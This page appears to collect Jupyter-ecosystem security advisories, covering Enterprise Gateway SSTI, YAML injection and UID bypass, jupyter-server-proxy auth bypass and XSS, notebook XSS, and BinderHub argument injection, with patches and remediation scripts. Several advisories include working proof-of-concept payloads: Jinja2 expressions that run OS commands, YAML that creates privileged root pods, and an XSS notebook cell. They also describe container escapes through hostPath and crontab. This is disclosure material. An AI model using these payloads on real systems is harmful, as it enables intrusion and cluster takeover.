See how jupyter compares to other vendors in security performance
JupyterLab extension template is a copier template for JupyterLab extensions. Repositories created using this template with test option include update-integration-tests.yml workflow which has an RCE vulnerability. Extension authors hosting their code on GitHub are urged to upgrade the template to the latest version. Users who made changes to update-integration-tests.yml, accept overwriting of this file and re-apply your changes later. Users may wish to temporarily disable GitHub Actions while working on the upgrade. We recommend rebasing all open pull requests from untrusted users as actions may run using the version from the main branch at the time when the pull request was created. Users who are upgrading from template version prior to 4.3.0 may wish to leave out proposed changes to the release workflow for now as it requires additional configuration.
Impact
Only users that has configured a JupyterHub installation to use the authenticator class LTI13Authenticator are influenced.
LTI13Authenticator that was introduced in jupyterhub-ltiauthenticator 1.3.0 wasn't validating JWT signatures. This is believed to allow the LTI13Authenticator to authorize a forged request granting access to existing and new user identities.
Patches
None.
Workarounds
None.
References
- This code segment didn't validate a JWT signature.
Summary
The environment variables (KERNELXXX) used during the rendering of the Kubernetes manifest are vulnerable to Server Side Template Injection (SSTI). By including Jinja2 template expressions it is possible to execution Python code and OS Commands in the Enterprise Gateway service. The code can use or steal the Kubernetes service account token, which can steal Kubernetes secrets and be used to fully compromise the Kubernetes cluster by scheduling a privileged pod or a pod with a hostPath volume mount.
Details
The KERNELPODNAME variable is rendered using Jinja2, allowing for code execution via template expression statements, in this code: https://github.com/jupyter-server/enterprisegateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/enterprisegateway/services/processproxies/k8s.py#L219-L247
The Jinja2 template for the Kubernetes manifest contains several kernelxxx variables, in addition to kernelpodname discussed above, such as kernelworkingdir that are used when rendering the manifest and are all vectors for SSTI. https://github.com/jupyter-server/enterprisegateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/etc/kernel-launchers/kubernetes/scripts/kernel-pod.yaml.j2#L77
These values come from the environment passed in the API call, where they were KERNELXXX before being converted to lowercase.
https://github.com/jupyter-server/enterprisegateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/etc/kernel-launchers/kubernetes/scripts/launchkubernetes.py#L130-L137
PoC
Simple demonstration of SSTI using {{7 7}}
bash curl http://enterprise-gateway.bdawg.svc.cluster.local:8888/api/kernels --data '{"name":"pythonkubernetes", "env": {"KERNELPODNAME": "bdawg-{{7 7}}" }}'
json {"id": "1094076f-35c6-48a5-ae60-0c943bb97a9a", "name": "pythonkubernetes", "lastactivity": "2025-07-17T07:14:42.155736Z", "executionstate": "starting", "connections": 0}
Running kubectl get pods NAME READY STATUS RESTARTS AGE bdawg-49 1/1 Running 0 3m54s
Remote code execution - OS Commands via SSTI
bash curl http://enterprise-gateway.notebooks.svc.cluster.local:8888/api/kernels --data '{"name":"pythonkubernetes", "env": {"KERNELPODNAME": "bdawg-{{ cycler.init.globals.os.popen(\"hostname\").read() }}", "KERNELNAMESPACE": "notebooks" }}'
json {"id": "85ec9431-d005-48d5-8127-5f022f2c5780", "name": "pythonkubernetes", "lastactivity": "2025-07-17T07
NAME READY STATUS RESTARTS AGE bdawg-enterprise-gateway-8695685bc8-klm4m 1/1 Running 0 2m25s
enterprise-gateway-8695685bc8-klm4m is the hostname of the Enterprise Gateway pod.
Enterprise Gateway RBAC The Enterprise Gateway service account has R/W access to several resource kinds.
Stolen Enterprise Gateway service account kubectl auth can-i --list
Resources Non-Resource URLs Resource Names Verbs selfsubjectreviews.authentication.k8s.io [] [] [create] selfsubjectaccessreviews.authorization.k8s.io [] [] [create] selfsubjectrulesreviews.authorization.k8s.io [] [] [create] rolebindings.rbac.authorization.k8s.io [] [] [get list create delete] configmaps [] [] [get watch list create delete] namespaces [] [] [get watch list create delete] persistentvolumeclaims [] [] [get watch list create delete] persistentvolumes [] [] [get watch list create delete] pods [] [] [get watch list create delete] secrets [] [] [get watch list create delete] services [] [] [get watch list create delete] scheduledsparkapplications.sparkoperator.k8s.io/status [] [] [get watch list create delete] scheduledsparkapplications.sparkoperator.k8s.io [] [] [get watch list create delete] sparkapplications.sparkoperator.k8s.io/status [] [] [get watch list create delete] sparkapplications.sparkoperator.k8s.io [] [] [get watch list create delete] [/.well-known/openid-configuration/] [] [get] [/.well-known/openid-configuration] [] [get] [/api/] [] [get] [/api] [] [get] [/apis/] [] [get] [/apis] [] [get] [/healthz] [] [get] [/healthz] [] [get] [/livez] [] [get] [/livez] [] [get] [/openapi/] [] [get] [/openapi] [] [get] [/openid/v1/jwks/] [] [get] [/openid/v1/jwks] [] [get] [/readyz] [] [get] [/readyz] [] [get] [/version/] [] [get] [/version/] [] [get] [/version] [] [get] [/version] [] [get]
Impact This is a server side template injection that leads to remote code execution (python and OS commands).
An attacker can get remote code execution in the Enterprise Gateway pod and steal its Kubernetes service account's token. It can use the privileges to spy on and interfere with other Jupyter kernel, read, write, or delete configuration maps, read secrets, access persistent storage, privileged pods, or create pods with hostPath mounts, which can be used to compromise the complete cluster and all workloads on it.
Summary
The environment variables used during the rendering of the Kubernetes manifest allow YAML injection, enabling attackers to overwrite existing keys like securityContext and inject multi-document YAML to create additional unintended Kubernetes resources.
Details
The server interpolates untrusted environment variables (e.g., KERNELXXX) into Kubernetes manifests without YAML-aware escaping, enabling YAML injection attacks. Attackers can inject new fields, overwrite critical fields (e.g., duplicate securityContext keys, where the last one prevails), and inject document boundaries (--- for new documents, ... for end-of-document) to generate multiple resources, potentially creating arbitrary kinds like privileged pods.
The Jinja2 template for the Kubernetes manifest contains several kernelxxx variables, such as kernelworkingdir that are used when rendering the manifest and are all vectors for YAML injection. https://github.com/jupyter-server/enterprisegateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/etc/kernel-launchers/kubernetes/scripts/kernel-pod.yaml.j2#L77
These values come from the environment passed in the API call, where they were KERNELXXX before being converted to lowercase.
https://github.com/jupyter-server/enterprisegateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/etc/kernel-launchers/kubernetes/scripts/launchkubernetes.py#L130-L137
PoC
These proof of concepts are injecting in the KERNELWORKINGDIR env var, but any of the env vars could have been used. By default, the KERNELWORKINGDIR will be ignored unless EGMIRRORWORKINGDIRS is truthy for the enterprise-gateway. This is controlled by the mirrorWorkingDirs value in the Helm chart.
Using ducaale/xh:
bash xh http://localhost:31529/api/kernels env:=@env-working-dir-exploit.yaml
env-working-dir-exploit.yaml:
json { "KERNELPODNAME": "working-dir-root", "KERNELNAMESPACE": "notebooks", "KERNELWORKINGDIR": "\"/tmp\\\"\\n\\n# INJECTION\\n securityContext:\\n runAsUser: 0\\n runAsGroup: 0\\n fsGroup: 100\\n# HAHA - stray quote \"" }
Resulting request:
POST /api/kernels HTTP/1.1 Accept: application/json, /;q=0.5 Accept-Encoding: gzip, deflate, br, zstd Connection: keep-alive Content-Length: 233 Content-Type: application/json Host: localhost:31529 User-Agent: xh/0.24.0
{ "env": { "KERNELPODNAME": "working-dir-root", "KERNELNAMESPACE": "notebooks", "KERNELWORKINGDIR": "\"/tmp\\\"\\n\\n# INJECTION\\n securityContext:\\n runAsUser: 0\\n runAsGroup: 0\\n fsGroup: 100\\n# HAHA - stray quote \"" } }
Curl equivalent command:
bash curl http://localhost:31529/api/kernels -H 'content-type: application/json' -H 'accept: application/json, /;q=0.5' -d '{"env":{"KERNELPODNAME":"working-dir-root","KERNELNAMESPACE":"notebooks","KERNELWORKINGDIR":"\"/tmp\\\"\\n\\n# INJECTION\\n securityContext:\\n runAsUser: 0\\n runAsGroup: 0\\n fsGroup: 100\\n# HAHA - stray quote \""}}'
The rendered Jinja2 template:
yaml This file defines the Kubernetes objects necessary for kernels to run witihin Kubernetes. Substitution parameters are processed by the launchkubernetes.py code located in the same directory. Some values are factory values, while others (typically prefixed with 'kernel') can be provided by the client. This file can be customized as needed. No changes are required to launchkubernetes.py provided kernel values are used - which be automatically set from corresponding KERNEL env values. Updates will be required to launchkubernetes.py if new document sections (i.e., new k8s 'kind' objects) are introduced. apiVersion: v1 kind: Pod metadata: name: "working-dir-root" namespace: "notebooks" labels: kernelid: "186f4ecf-bf90-40b8-b210-a0987bfce927" app: enterprise-gateway component: kernel source: kernel-pod.yaml annotations: cluster-autoscaler.kubernetes.io/safe-to-evict: "false" spec: restartPolicy: Never serviceAccountName: "default" NOTE: that using runAsGroup requires that feature-gate RunAsGroup be enabled. WARNING: Only using runAsUser w/o runAsGroup or NOT enabling the RunAsGroup feature-gate will result in the new kernel pod's effective group of 0 (root)! although the user will correspond to the runAsUser value. As a result, BOTH should be uncommented AND the feature-gate should be enabled to ensure expected behavior. In addition, 'fsGroup: 100' is recommended so that /home/jovyan can be written to via the 'users' group (gid: 100) irrespective of the "kerneluid" and "kernelgid" values. securityContext: runAsUser: 1000 runAsGroup: 100 fsGroup: 100 containers: - image: "elyra/kernel-py:3.2.3" name: "working-dir-root" env: Add any custom envs here that aren't already configured for the kernel's environment - name: MYCUSTOMENV value: "mycustomvalue" workingDir: "/tmp"
INJECTION securityContext: runAsUser: 0 runAsGroup: 0 fsGroup: 100 HAHA - stray quote " volumeMounts: Define any "unconditional" mounts here, followed by "conditional" mounts that vary per client volumes: Define any "unconditional" volumes here, followed by "conditional" volumes that vary per client
Normally the container would run as uid=1000(jovyan) gid=100(users) groups=100(users). This injects a pod securityContext with runAsUser: 0 and runAsGroup: 0 (and fsGroup: 100). The processing of the YAML results in the duplicate key clobbering the original. Making the container run as uid=0(root) gid=0(root) groups=0(root),100(users).
In addition to injecting a pod level securityContext it is also possible to inject a container level securityContext which supports the privileged field.
Injecting a Pod
By injecting ... and --- it is possible to use multi-document YAML to inject Kubernetes resources.
bash xh http://localhost:31529/api/kernels env:=@env-working-dir-exploit-pod.yaml
env-working-dir-exploit-pod.yaml:
json { "KERNELPODNAME": "working-dir-root-pod", "KERNELNAMESPACE": "notebooks", "KERNELWORKINGDIR": "\"/tmp\\\"\\n\\n# INJECTION\\n...\\n---\\napiVersion: v1\\nkind: Pod\\nmetadata:\\n name: injected-pod\\n\\\n spec:\\n containers:\\n - name: injected-container\\n image: nginx\\n ports:\\n - containerPort: 80\\n securityContext:\\n privileged: true\\n runAsUser: 0\\n runAsGroup: 0\\n...\\n# HAHA - stray quote\"" }
This is rendered as (skipping the beginning of the rendering before the inject):
yaml workingDir: "/tmp"
INJECTION ... --- apiVersion: v1 kind: Pod metadata: name: injected-pod spec: containers: - name: injected-container image: nginx ports: - containerPort: 80 securityContext: privileged: true runAsUser: 0 runAsGroup: 0 ... HAHA - stray quote" volumeMounts: Define any "unconditional" mounts here, followed by "conditional" mounts that vary per client volumes: Define any "unconditional" volumes here, followed by "conditional" volumes that vary per client
kubectl get pods -n notebooks NAME READY STATUS RESTARTS AGE injected-pod 1/1 Running 0 4s working-dir-root-pod 1/1 Running 0 4s
The injected-pod has been created in addition to the working-dir-root-pod.
kubectl get pod/injected-pod -o yaml -n notebooks -o jsonpath='{.spec.containers[].securityContext}':
json { "privileged": true, "runAsGroup": 0, "runAsUser": 0 }
Impact
An attacker can create pods running with arbitrary, image, securityContext, and volumeMounts including hostPath mounts. Privileged pods can be created.
Arbitrary Kubernetes resources of kinds: Pod, Secret, PersistentVolumeClaim, PersistentVolume, Service, and ConfigMap can be created.
Repeated exploitation can compromise all worker nodes, and thus the entire Kubernetes cluster. Multiple container escape vectors exist. It is possible to create privileged pods which could load kernel modules to compromise the host. It is also possible to specify volume mounts, so another vector for a container escape is to use a hostPath R/W volume mount, use the injected securityContext to run as root, and then gain code execution in the underlying worker node by creating a crontab entry in the mounted host file system.
Impact
Untrusted notebook can execute code on load. This is a remote code execution, but requires user action to open a notebook.
Patches
5.7.11, 6.4.1
References
OWASP Page on Injection Prevention
For more information
If you have any questions or comments about this advisory, or vulnerabilities to report, please email our security list security@ipython.org.
Credit: Guillaume Jeanne from Google
Example:
A notebook with the following content in a cell and it would display an alert when opened for the first time in Notebook (in an untrusted state):
{ "celltype": "code", "executioncount": 0, "metadata": {}, "outputs": [ { "data": { "text/html": [ "<select><iframe></select><img src=x: onerror=alert('xss')>\n"], "text/plain": [] }, "metadata": {}, "outputtype": "displaydata" } ], "source": [ "" ] }
Impact Installations of jupyter-lsp running in environments without configured file system access control (on the operating system level), and with jupyter-server instances exposed to non-trusted network are vulnerable to unauthorised access and modification of file system beyond the jupyter root directory.
Patches Version 2.2.2 has been patched.
Workarounds Users of jupyterlab who do not use jupyterlab-lsp can uninstall jupyter-lsp.
Credits We would like to credit Bary Levy, researcher of pillar.security research team, for the discovery and responsible disclosure of this vulnerability.
Edit: based on advice from pillar.security the Confidentiality/Integrity/Availability were increased to High to reflect potential for critical impact on publicly hosted jupyter-server instances lacking isolation of user privileges on operating system level (for best practices please consult https://jupyterhub.readthedocs.io/en/stable/explanation/websecurity.html#protect-users-from-each-other) and CWE-94 was added due to a potential vulnerability chaining in specific environments.
Summary
jupyter-server-proxy is used to expose ports local to a Jupyter server listening to web traffic to the Jupyter server's authenticated users by proxying web requests and websockets. Dependent packages (partial list) also use jupyter-server-proxy to expose other popular interactive applications (such as RStudio, Linux Desktop via VNC, Code Server, Panel, etc) along with the Jupyter server. This feature is commonly used in hosted environments (such as a JupyterHub) to expose non-Jupyter interactive frontends or APIs to the user.
jupyter-server-proxy did not check user authentication appropriately when proxying websockets, allowing unauthenticated access to anyone who had network access to the Jupyter server endpoint.
Impact
This vulnerability can allow unauthenticated remote access to any websocket endpoint set up to be accessible via jupyter-server-proxy. In many cases (such as when exposing RStudio via jupyter-rsession-proxy or a remote Linux Desktop / VNC via jupyter-remote-desktop-proxy), this leads to remote unauthenticated arbitrary code execution, due to how they use websockets. The websocket endpoints exposed by jupyterserver itself is not affected. Projects that do not rely on websockets are also not affected.
Remediation
Upgrade jupyter-server-proxy to a patched version and restart any running Jupyter server.
You may not be installing jupyter-server-proxy directly, but have it be pulled in as a dependency (partial list of dependent packages) - so you may be vulnerable even if you aren't directly depending on jupyter-server-proxy.
For JupyterHub admins of [TLJH] installations
<details><summary>Expand to read more</summary>
To secure a tljh deployment's user servers, first check if jupyter-server-proxy is installed in the user environment with a vulnerable version. If it is, patch the vulnerability and consider terminating currently running user servers.
[tljh]: https://tljh.jupyter.org
1. Check for vulnerability
As an JupyterHub admin from a terminal in a started user server, you can do:
bash sudo -E python3 -c ' try: import jupyterserverproxy isvulnerable = not hasattr(jupyterserverproxy, "version") except: isvulnerable = False if isvulnerable: print("WARNING: jupyter-server-proxy is vulnerable to GHSA-w3vc-fx9p-wp4v, see https://github.com/jupyterhub/jupyter-server-proxy/security/advisories/GHSA-w3vc-fx9p-wp4v.") else: print("INFO: not vulnerable to GHSA-w3vc-fx9p-wp4v") '
Alternatively as a root user on the server where tljh is installed, you can do:
bash sudo PATH=/opt/tljh/user/bin:${PATH} python3 -c ' try: import jupyterserverproxy isvulnerable = not hasattr(jupyterserverproxy, "version") except: isvulnerable = False if isvulnerable: print("WARNING: jupyter-server-proxy is vulnerable to GHSA-w3vc-fx9p-wp4v, see https://github.com/jupyterhub/jupyter-server-proxy/security/advisories/GHSA-w3vc-fx9p-wp4v.") else: print("INFO: not vulnerable to GHSA-w3vc-fx9p-wp4v") '
2. Patch detected vulnerability
As an JupyterHub admin from a terminal in a started user server, you can do:
bash sudo -E pip install "jupyter-server-proxy>=3.2.3,!=4.0.0,!=4.1.0"
Alternatively as a root user on the server where tljh is installed, you can do:
bash sudo PATH=/opt/tljh/user/bin:${PATH} pip install "jupyter-server-proxy>=3.2.3,!=4.0.0,!=4.1.0"
3. Consider terminating currently running user servers
User servers that started before the patch was applied are still vulnerable. To ensure they aren't vulnerable any more you could forcefully terminate their servers via the JupyterHub web interface at https://<your domain>/hub/admin.
</details>
For JupyterHub admins of [Z2JH] installations
<details><summary>Expand to read more</summary>
To secure your z2jh deployment's user servers, first consider if one or more user environments is or may be vulnerable, then ensure new user servers' aren't started with the vulnerability, and finally consider terminating currently running user servers. The steps below guide you to do so.
[z2jh]: https://z2jh.jupyter.org
1. Check for vulnerabilities
Consider all docker images that user servers' environment may be based on. If your deployment expose a fixed set of images, you may be able to update them to non-vulnerable versions.
To check if an individual docker image is vulnerable, use a command like:
bash CHECKIMAGE=jupyter/base-notebook:2023-10-20 docker run --rm $CHECKIMAGE python3 -c ' try: import jupyterserverproxy isvulnerable = not hasattr(jupyterserverproxy, "version") except: isvulnerable = False if isvulnerable: print("WARNING: jupyter-server-proxy is vulnerable to GHSA-w3vc-fx9p-wp4v, see https://github.com/jupyterhub/jupyter-server-proxy/security/advisories/GHSA-w3vc-fx9p-wp4v.") else: print("INFO: not vulnerable to GHSA-w3vc-fx9p-wp4v") '
Note that if you reference an image with a mutable tag, such as quay.io/jupyter/pangeo-notebook:master, you should ensure a new version is used by configuring the image pull policy so that an older vulnerable version isn't kept being used because it was already available on a Kubernetes node.
yaml singleuser: image: name: quay.io/jupyter/pangeo-notebook tag: master # pullPolicy (a.k.a. imagePullPolicy in k8s specification) should be # declared to Always if you make use of mutable tags pullPolicy: Always
2. Patch vulnerabilities dynamically
If your z2jh deployment still may start vulnerable images for users, you could mount a script that checks and patches the vulnerability before the jupyter server starts.
Below is JupyterHub Helm chart configuration that relies on [singleuser.extraFiles] and [singleuser.cmd] to mount a script we use as an entrypoint to dynamically check and patch the vulnerability before jupyter server is started.
Unless you change it, the script will attempt to upgrade jupyter-server-proxy to a non-vulnerable version if needed, and error if it needs to and fails. You can adjust this behavior by adjusting the constants UPGRADEIFVULNERABLE and ERRORIFVULNERABLE inside the script.
[singleuser.extraFiles]: https://z2jh.jupyter.org/en/stable/resources/reference.html#singleuser-extrafiles [singleuser.cmd]: https://z2jh.jupyter.org/en/stable/resources/reference.html#singleuser-cmd
yaml singleuser: cmd: - /mnt/ghsa-w3vc-fx9p-wp4v/check-patch-run - jupyterhub-singleuser extraFiles: ghsa-w3vc-fx9p-wp4v-check-patch-run: mountPath: /mnt/ghsa-w3vc-fx9p-wp4v/check-patch-run mode: 0755 stringData: | #!/usr/bin/env python3 """ This script is designed to check for and conditionally patch GHSA-w3vc-fx9p-wp4v in user servers started by a JupyterHub. The script will execute any command passed via arguments if provided, allowing it to wrap a user server startup call to jupyterhub-singleuser for example.
Use and function of this script can be further discussed in https://github.com/jupyterhub/zero-to-jupyterhub-k8s/issues/3360.
Script adjustments: - UPGRADEIFVULNERABLE - ERRORIFVULNERABLE
Script patching assumptions: - script is run before the jupyter server starts - pip is available - pip has sufficient filesystem permissions to upgrade jupyter-server-proxy
Read more at https://github.com/jupyterhub/jupyter-server-proxy/security/advisories/GHSA-w3vc-fx9p-wp4v. """
import os import subprocess import sys
# adjust these to meet vulnerability mitigation needs UPGRADEIFVULNERABLE = True ERRORIFVULNERABLE = True
def checkvuln(): """ Checks for the vulnerability by looking to see if version is available as it coincides with the patched versions (3.2.3 and 4.1.1). """ try: import jupyterserverproxy
return False if hasattr(jupyterserverproxy, "version") else True except: return False
def getversionspecifier(): """ Returns a pip version specifier for use with --no-deps meant to do as little as possible besides patching the vulnerability and remaining functional. """ old = ["jupyter-server-proxy>=3.2.3,<4"] new = ["jupyter-server-proxy>=4.1.1,<5", "simpervisor>=1,<2"]
try: if sys.versioninfo < (3, 8): return old
from importlib.metadata import version
jspversion = version("jupyter-server-proxy") if int(jspversion.split(".")[0]) < 4: return old except: pass return new
def patchvuln(): """ Attempts to patch the vulnerability by upgrading jupyter-server-proxy using pip. Returns True if the patch is applied successfully, otherwise False. """ # attempt upgrade via pip, takes ~4 seconds proc = subprocess.run( [sys.executable, "-m", "pip", "--version"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, ) pipavailable = proc.returncode == 0 if pipavailable: proc = subprocess.run( [sys.executable, "-m", "pip", "install", "--no-deps"] + getversionspecifier() ) if proc.returncode == 0: return True return False
def main(): if checkvuln(): warningorerror = ( "ERROR" if ERRORIFVULNERABLE and not UPGRADEIFVULNERABLE else "WARNING" ) print( f"{warningorerror}: jupyter-server-proxy is vulnerable to GHSA-w3vc-fx9p-wp4v, see " "https://github.com/jupyterhub/jupyter-server-proxy/security/advisories/GHSA-w3vc-fx9p-wp4v.", flush=True, ) if warningorerror == "ERROR": sys.exit(1)
if UPGRADEIFVULNERABLE: print( "INFO: Attempting to upgrade jupyter-server-proxy using pip...", flush=True, ) if patchvuln(): print( "INFO: Attempt to upgrade jupyter-server-proxy succeeded!", flush=True, ) else: warningorerror = "ERROR" if ERRORIFVULNERABLE else "WARNING" print( f"{warningorerror}: Attempt to upgrade jupyter-server-proxy failed!", flush=True, ) if warningorerror == "ERROR": sys.exit(1)
if len(sys.argv) >= 2: print("INFO: Executing provided command", flush=True) os.execvp(sys.argv[1], sys.argv[1:]) else: print("INFO: No command to execute provided", flush=True)
main()
3. Consider terminating currently running user servers
User servers that started before the patch was applied are still vulnerable. To ensure they aren't vulnerable any more you could forcefully terminate their servers via the JupyterHub web interface at https://<your domain>/hub/admin.
</details>
Simple Reproduction
<details><summary>Expand to read more</summary>
Setup application to proxy
Make a trivial tornado app that has both websocket and regular HTTP endpoints.
python from tornado import websocket, web, ioloop
class EchoWebSocket(websocket.WebSocketHandler): def open(self): print("WebSocket opened")
def onmessage(self, message): self.writemessage(u"You said: " + message)
def onclose(self): print("WebSocket closed")
class HiHandler(web.RequestHandler): def get(self): self.write("Hi")
app = web.Application([ (r'/ws', EchoWebSocket), (r'/hi', HiHandler) ])
if name == 'main': app.listen(9500) ioloop.IOLoop.instance().start()
Setup a clean environment with jupyter-server-proxy and start a jupyter server instance
We don't need jupyterlab or anything else here, just jupyter-server-proxy would do.
bash python -m venv clean-env/ source clean-env/bin/activate pip install jupyter-server-proxy jupyter server
Verify HTTP requests require authentication
bash curl -L http://127.0.0.1:8888/proxy/9500/hi
This does not return the Hi response, as expected. Instead, you get the HTML response asking for a token.
This is secure as intended.
Verify websocket requests doesn't authentication
The example makes use of websocat to test websockets. You can use any other tool you are familiar with too.
bash websocat ws://localhost:8888/proxy/9500/ws
At the terminal, type 'Just testing' and press Enter. You'll get You said: Just testing without any authentication required.
</details>
Summary
Jupyter Enterprise Gateway has a prohibited UID and GID feature that by default prevents launching kernels with UID or GID 0 (root). This can be bypassed. It is possible to launch kernels with a prohibited UID and/or GID by using a specially crafted KERNELUID or KERNELGID value.
The feature is described in the documentation:
https://github.com/jupyter-server/enterprisegateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/docs/source/operators/config-add-env.md?plain=1#L103-L107
https://github.com/jupyter-server/enterprisegateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/docs/source/operators/config-add-env.md?plain=1#L88-L92
https://github.com/jupyter-server/enterprisegateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/docs/source/operators/deploy-kubernetes.md?plain=1#L769
Details
The prohibiteduids and prohibiteduids are set based of the OS env var EGPROHIBITEDUIDS and EGPROHIBITEDGIDS, and default to the string 0.
https://github.com/jupyter-server/enterprisegateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/enterprisegateway/services/processproxies/container.py#L29-L30
The checks https://github.com/jupyter-server/enterprisegateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/enterprisegateway/services/processproxies/container.py#L113 and https://github.com/jupyter-server/enterprisegateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/enterprisegateway/services/processproxies/container.py#L119 look for the user supplied KERNELUID / KERNELGID string in the prohibiteduids / prohibitedgids strings. These checks can be bypassed by including whitespace, for example the string 0 (trailing space).
The user supplied string is used in the Kubernetes manifest at https://github.com/jupyter-server/enterprisegateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/etc/kernel-launchers/kubernetes/scripts/kernel-pod.yaml.j2#L35 and https://github.com/jupyter-server/enterprisegateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/etc/kernel-launchers/kubernetes/scripts/kernel-pod.yaml.j2#L38 where they are parsed as an integer in the Jinja2 template - which will ignore the whitespace.
PoC
How it is meant to work
Trying 0 gets denied, as expected.
bash xh http://enterprise-gateway.bdawg.svc.cluster.local:8888/api/kernels name=pythonkubernetes env:='{"KERNELPODNAME":"bdawg", "KERNELUID": "0", "KERNELGID": "0"}'
HTTP/1.1 403 Kernel's UID value of '0' has been denied via EGPROHIBITEDUIDS! Content-Length: 94 Content-Type: application/json Date: Mon, 14 Jul 2025 12:57:09 GMT Server: TornadoServer/6.4.1 X-Content-Type-Options: nosniff
json { "reason": "Kernel's UID value of '0' has been denied via EGPROHIBITEDUIDS!", "message": "" }
Exploit bypassing the checks
Using 0 with a trailing space, bypasses the check.
bash xh http://enterprise-gateway.bdawg.svc.cluster.local:8888/api/kernels name=pythonkubernetes env:='{"KERNELPODNAME":"bdawg", "KERNELUID": "0 ", "KERNELGID": "0 "}'
HTTP/1.1 201 Created Content-Length: 172 Content-Type: application/json Date: Mon, 14 Jul 2025 14:15:19 GMT Location: /api/kernels/17eee032-994f-4dd2-8ade-87169c300a40 Server: TornadoServer/6.4.1 X-Content-Type-Options: nosniff
{ "id": "17eee032-994f-4dd2-8ade-87169c300a40", "name": "pythonkubernetes", "lastactivity": "2025-07-14T14:15:21.468155Z", "executionstate": "starting", "connections": 0 }
The pod is successfully scheduled.
Inspecting the container we can see it is running as root:
bash kubectl exec -it pod/bdawg -- bash
(base) root@bdawg3:~# id uid=0(root) gid=0(root) groups=0(root),100(users)
If we had not supplied the KERNELUID / KERNELGID the container would have been running as UID:GID 1000:100 (jovyan:users).
Impact
This input validation vulnerability allows running Jupyter kernels as root, which can be dangerous as it allows more attack surface, and may lead to container escapes, compromising the worker node and all workloads running on it. Repeated exploitation can compromise all worker nodes, and thus the entire Kubernetes cluster. It is possible to specify volume mounts, so one vector for a container escape is to use a hostPath R/W volume mount, use this UID/GID bypass to run as root, and then gain code execution in the underlying worker node by creating a crontab entry in the mounted host file system.
Organisations running Jupyter Enterprise Gateway to host Jupyter Kernels on at least Kubernetes clusters (I've tested this), and possibly on any other supported container orchestration systems or systems that utilise the KERNELUID and KERNELGID variables with the EGPROHIBITEDUIDS and EGPROHIBITEDGIDS feature.
A vulnerability in IPython allowing maliciously forged file to be opened for editing that could execute javascript code, specifically by being redirected to /files/ due to the mistakenly treating the file as plain text. Versions >= 3.0 and <= 3.2.1 of IPython are affected.
Upstream patch:
https://github.com/ipython/ipython/commit/0a8096adf165e2465550bd5893d7e352544e5967
CVE request:
http://seclists.org/oss-sec/2015/q3/558
Impact
A remote code execution vulnerability has been identified in BinderHub, where providing BinderHub with maliciously crafted input could execute code in the BinderHub context, with the potential to egress credentials of the BinderHub deployment, including JupyterHub API tokens, kubernetes service accounts, and docker registry credentials. This may provide the ability to manipulate images and other user created pods in the deployment, with the potential to escalate to the host depending on the underlying kubernetes configuration.
Patches
Patch below, or on GitHub
diff From 9f4043d9dddc1174920e687773f27b7933f48ab6 Mon Sep 17 00:00:00 2001 From: Riccardo Castellotti <rcastell@cern.ch> Date: Thu, 19 Aug 2021 15:49:43 +0200 Subject: [PATCH] Explicitly separate git-ls-remote options from positional arguments
--- binderhub/repoproviders.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/binderhub/repoproviders.py b/binderhub/repoproviders.py index f33347b..5d4b87c 100755 --- a/binderhub/repoproviders.py +++ b/binderhub/repoproviders.py @@ -484,7 +484,7 @@ class GitRepoProvider(RepoProvider): self.sha1validate(self.unresolvedref) except ValueError: # The ref is a head/tag and we resolve it using git ls-remote - command = ["git", "ls-remote", self.repo, self.unresolvedref] + command = ["git", "ls-remote", "--", self.repo, self.unresolvedref] result = subprocess.run(command, universalnewlines=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) if result.returncode: raise RuntimeError("Unable to run git ls-remote to get the resolvedref: {}".format(result.stderr)) -- 2.25.1
Workarounds
Disable the git repo provider by specifying the BinderHub.repoproviders config, e.g.:
python from binderhub.repoproviders import (GitHubRepoProvider, GitLabRepoProvider, GistRepoProvider, ZenodoProvider, FigshareProvider, HydroshareProvider, DataverseProvider)
c.BinderHub.repoproviders = { 'gh': GitHubRepoProvider, 'gist': GistRepoProvider, 'gl': GitLabRepoProvider, 'zenodo': ZenodoProvider, 'figshare': FigshareProvider, 'hydroshare': HydroshareProvider, 'dataverse': DataverseProvider, }
References
Credit: Jose Carlos Luna Duran (CERN) and Riccardo Castellotti (CERN).
For more information
If you have any questions or comments about this advisory:
Email us at security@ipython.org
Impact
There is a reflected cross-site scripting (XSS) issue in jupyter-server-proxy[1]. The /proxy endpoint accepts a host path segment in the format /proxy/<host>. When this endpoint is called with an invalid host value, jupyter-server-proxy replies with a response that includes the value of host, without sanitization [2]. A third-party actor can leverage this by sending a phishing link with an invalid host value containing custom JavaScript to a user. When the user clicks this phishing link, the browser renders the response of GET /proxy/<host>, which runs the custom JavaScript contained in host set by the actor. As any arbitrary JavaScript can be run after the user clicks on a phishing link, this issue permits extensive access to the user's JupyterLab instance for an actor. This issue exists in the latest release of jupyter-server-proxy, currently v4.1.2. Impacted versions: >=3.0.0,<=4.1.2
Patches
The patches are included in ==4.2.0 and ==3.2.4.
Workarounds
Server operators who are unable to upgrade can disable the jupyter-server-proxy extension with:
jupyter server extension disable jupyter-server-proxy
References
[1] : https://github.com/jupyterhub/jupyter-server-proxy/ [2] : https://github.com/jupyterhub/jupyter-server-proxy/blob/62a290f08750f7ae55a0c29ca339c9a39a7b2a7b/jupyterserverproxy/handlers.py#L328
Impact
Untrusted notebook can execute code on load. This is a remote code execution, but requires user action to open a notebook.
Patches
Patched in the following versions: 3.1.4, 3.0.17, 2.3.2, 2.2.10, 1.2.21.
References
OWASP Page on Restricting Form Submissions
For more information
If you have any questions or comments about this advisory, or vulnerabilities to report, please email our security list security@ipython.org.
Credit: Guillaume Jeanne from Google
